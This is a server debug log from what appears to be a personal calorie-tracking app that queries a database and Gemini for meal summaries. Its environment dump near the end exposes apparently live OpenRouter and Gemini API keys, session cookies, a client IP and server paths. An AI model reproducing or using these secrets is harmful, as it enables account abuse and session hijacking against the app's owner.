    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '225',
    surplus_or_deficit: '2175',
    status_flag: 2
  }
]
2025-12-18T04:14:22.622Z server-connect:app Executing action step identify
2025-12-18T04:14:22.622Z server-connect:app options: { provider: 'security' }
2025-12-18T04:14:22.622Z server-connect:output identity: 1
2025-12-18T04:14:27.990Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-18T04:14:27.990Z server-connect:app Executing action step identify
2025-12-18T04:14:27.990Z server-connect:app options: { provider: 'security' }
2025-12-18T04:14:27.990Z server-connect:output identity: 1
2025-12-18T04:14:27.990Z server-connect:app Executing action step restrict
2025-12-18T04:14:27.990Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T04:14:27.991Z server-connect:output restrict: undefined
2025-12-18T04:14:27.991Z server-connect:app Executing action step select
2025-12-18T04:14:27.991Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-18T04:14:27.992Z server-connect:output items_consumed_today: [
  {
    id: 433,
    item_name: 'Aloo Matar Mix Snack (Googhri)',
    calories: 225,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 11,
    quantity: '1 katori (approx. 150g)'
  }
]
2025-12-18T04:14:27.992Z server-connect:app Executing action step paged
2025-12-18T04:14:27.992Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-18T04:14:27.994Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 13,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' },
    { date: '2025-11-30T18:30:00.000Z', weight: '72.40' },
    { date: '2025-11-28T18:30:00.000Z', weight: '71.80' }
  ]
}
2025-12-18T04:14:27.994Z server-connect:app Executing action step run
2025-12-18T04:14:27.994Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-18T04:14:27.995Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 433 | Aloo Matar Mix Snack (Googhri) | 225 | 5 | 30 | 11 | 1 katori (approx. 150g) |\n' +
  '\n'
2025-12-18T04:14:27.995Z server-connect:app Executing action step run
2025-12-18T04:14:27.995Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-18T04:14:27.996Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-18T04:14:27.996Z server-connect:app Executing action step setvalue
2025-12-18T04:14:27.996Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-18T04:14:27.996Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 433 | Aloo Matar Mix Snack (Googhri) | 225 | 5 | 30 | 11 | 1 katori (approx. 150g) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-18T04:14:27.996Z server-connect:app Executing action step processWithGemini
2025-12-18T04:14:27.996Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-18T04:14:29.533Z server-connect:output health_summary: {
  summary: "The day's nutrition appears to be quite limited, with only one recorded food item. This single item does not provide a balanced profile of macronutrients and is unlikely to support muscle development or recovery adequately. Consistent training is a positive, but the nutritional intake needs significant improvement to align with your goals.",
  rating: 3,
  good_points: [ 'Consistent gym attendance is noted.' ],
  bad_points: [
    'Very limited food intake recorded for the day.',
    'Lack of variety in consumed food.',
    'Protein intake is likely insufficient for muscle development and recovery.',
    'No information on meal timing or hydration.'
  ],
  suggestions: [
    'Incorporate more diverse food sources throughout the day.',
    'Prioritize protein-rich foods at each meal.',
    'Ensure adequate hydration by drinking plenty of water.',
    'Consider adding a post-workout meal or snack to aid recovery.'
  ],
  predicted_weight_trend: 'Slight downward trend with some fluctuations.',
  predicted_weight: 70.05
}
2025-12-18T04:14:29.534Z server-connect:app Executing action step condition
2025-12-18T04:14:29.534Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-18T04:14:29.534Z server-connect:app Executing action step delete
2025-12-18T04:14:29.534Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-18T04:14:29.535Z server-connect:output delete: { affected: 0 }
2025-12-18T04:14:29.535Z server-connect:app Executing action step insert
2025-12-18T04:14:29.535Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-18T04:14:29.536Z server-connect:output insert: { affected: 1, identity: 31 }
2025-12-18T04:14:29.536Z server-connect:output condition: undefined
2025-12-18T04:14:29.834Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-18T04:14:29.834Z server-connect:app Executing action step identify
2025-12-18T04:14:29.834Z server-connect:app options: { provider: 'security' }
2025-12-18T04:14:29.835Z server-connect:output identity: 1
2025-12-18T04:14:29.835Z server-connect:app Executing action step restrict
2025-12-18T04:14:29.835Z server-connect:app options: { provider: 'security' }
2025-12-18T04:14:29.835Z server-connect:output restrict: undefined
2025-12-18T04:14:29.835Z server-connect:app Executing action step single
2025-12-18T04:14:29.835Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-18T04:14:29.836Z server-connect:output summary: {
  summary: {
    rating: 3,
    summary: "The day's nutrition appears to be quite limited, with only one recorded food item. This single item does not provide a balanced profile of macronutrients and is unlikely to support muscle development or recovery adequately. Consistent training is a positive, but the nutritional intake needs significant improvement to align with your goals.",
    bad_points: [
      'Very limited food intake recorded for the day.',
      'Lack of variety in consumed food.',
      'Protein intake is likely insufficient for muscle development and recovery.',
      'No information on meal timing or hydration.'
    ],
    good_points: [ 'Consistent gym attendance is noted.' ],
    suggestions: [
      'Incorporate more diverse food sources throughout the day.',
      'Prioritize protein-rich foods at each meal.',
      'Ensure adequate hydration by drinking plenty of water.',
      'Consider adding a post-workout meal or snack to aid recovery.'
    ],
    predicted_weight: 70.05,
    predicted_weight_trend: 'Slight downward trend with some fluctuations.'
  },
  date: '2025-12-17T18:30:00.000Z'
}
2025-12-18T04:16:25.373Z server-connect:app Executing action step identify
2025-12-18T04:16:25.374Z server-connect:app options: { provider: 'security' }
2025-12-18T04:16:25.374Z server-connect:output identity: 1
2025-12-18T04:18:13.969Z server-connect:app Executing action step identify
2025-12-18T04:18:13.970Z server-connect:app options: { provider: 'security' }
2025-12-18T04:18:13.970Z server-connect:output identity: 1
2025-12-18T04:18:15.250Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-18T04:18:15.250Z server-connect:app Executing action step identify
2025-12-18T04:18:15.251Z server-connect:app options: { provider: 'security' }
2025-12-18T04:18:15.251Z server-connect:output identity: 1
2025-12-18T04:18:15.251Z server-connect:app Executing action step restrict
2025-12-18T04:18:15.251Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T04:18:15.253Z server-connect:output restrict: undefined
2025-12-18T04:18:15.253Z server-connect:app Executing action step processWithGemini
2025-12-18T04:18:15.253Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-18T04:18:17.496Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Milk Tea',
      quantity: '0.5 cup (approx 120ml)',
      calories_consumed: 60,
      total_calories: 60,
      protein: 4.2,
      carbs: 6,
      fat: 2.4,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: 'While not inherently bad, milk tea still contributes calories and some fat. For muscle development, prioritizing protein and complex carbs is key. You could opt for black tea or green tea for hydration without the added calories from milk, or choose a protein shake instead.'
    }
  ],
  total_macros: {
    protein: { value: 4.2, unit: 'g' },
    carbs: { value: 6, unit: 'g' },
    fat: { value: 2.4, unit: 'g' }
  }
}
2025-12-18T04:18:21.320Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-18T04:18:21.320Z server-connect:app Executing action step identify
2025-12-18T04:18:21.320Z server-connect:app options: { provider: 'security' }
2025-12-18T04:18:21.320Z server-connect:output identity: 1
2025-12-18T04:18:21.320Z server-connect:app Executing action step restrict
2025-12-18T04:18:21.320Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T04:18:21.321Z server-connect:output restrict: undefined
2025-12-18T04:18:21.321Z server-connect:app Executing action step condition
2025-12-18T04:18:21.321Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-18T04:18:21.321Z server-connect:app Executing action step repeat
2025-12-18T04:18:21.321Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-18T04:18:21.321Z server-connect:app Executing action step insert
2025-12-18T04:18:21.321Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-18T04:18:21.323Z server-connect:output calories: { affected: 1, identity: 434 }
2025-12-18T04:18:21.323Z server-connect:output repeat: [ {} ]
2025-12-18T04:18:21.323Z server-connect:output condition: undefined
2025-12-18T04:18:21.674Z server-connect:router Serving templateView /calorie-tracker
2025-12-18T04:18:21.674Z server-connect:app Executing action step identify
2025-12-18T04:18:21.674Z server-connect:app options: { provider: 'security' }
2025-12-18T04:18:21.674Z server-connect:output identity: 1
2025-12-18T04:18:21.674Z server-connect:app Executing action step restrict
2025-12-18T04:18:21.674Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T04:18:21.675Z server-connect:output restrict: undefined
2025-12-18T04:18:21.675Z server-connect:router Render template layouts/main
2025-12-18T04:18:21.675Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AdAcB8ogG1XV5TQXPBVhGQg%3D%3D.TBB4ILy26x25ShQNn994KY4eFPPXB1953TvNXgHJfLiRYkpr0A%2FcPTNQV97OQjpiMokmYmM7q3wnm8%2FtLQBjxmhkaiMx7JcnS4heavIw4%2B2YWiOmAkSjnE%2BbF0Um22EXXAKY%2FOaiNxSaE6Z35seOjkBhW%2BINGL7HCfC6v6BMxcI%3D.PT0k245B8RS2Ek7AjMtc6%2FqgC19uyNE3i9L%2FLdTO1YQ; your_r_git.sid=s%3AVkBY102LIeTcHzvu-J0fjlo9LiwgIH_0.QVa%2FExYL4Pi%2BHp13zO%2BL5e3PQEqEKCvNyJp4wumKhqg',
    'x-forwarded-for': '157.48.247.86',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-19T02:37:25.035Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.247.86',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AdAcB8ogG1XV5TQXPBVhGQg%3D%3D.TBB4ILy26x25ShQNn994KY4eFPPXB1953TvNXgHJfLiRYkpr0A%2FcPTNQV97OQjpiMokmYmM7q3wnm8%2FtLQBjxmhkaiMx7JcnS4heavIw4%2B2YWiOmAkSjnE%2BbF0Um22EXXAKY%2FOaiNxSaE6Z35seOjkBhW%2BINGL7HCfC6v6BMxcI%3D.PT0k245B8RS2Ek7AjMtc6%2FqgC19uyNE3i9L%2FLdTO1YQ; your_r_git.sid=s%3AVkBY102LIeTcHzvu-J0fjlo9LiwgIH_0.QVa%2FExYL4Pi%2BHp13zO%2BL5e3PQEqEKCvNyJp4wumKhqg',
    'HTTP_X_FORWARDED-FOR': '157.48.247.86',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-18T04:18:21.878Z server-connect:app Executing action step identify
2025-12-18T04:18:21.878Z server-connect:app options: { provider: 'security' }
2025-12-18T04:18:21.879Z server-connect:output identity: 1
2025-12-18T04:18:22.273Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-18T04:18:22.274Z server-connect:app Executing action step identify
2025-12-18T04:18:22.274Z server-connect:app options: { provider: 'security' }
2025-12-18T04:18:22.274Z server-connect:output identity: 1
2025-12-18T04:18:22.274Z server-connect:app Executing action step restrict
2025-12-18T04:18:22.274Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T04:18:22.274Z server-connect:output restrict: undefined
2025-12-18T04:18:22.274Z server-connect:app Executing action step select
2025-12-18T04:18:22.275Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-18T04:18:22.279Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
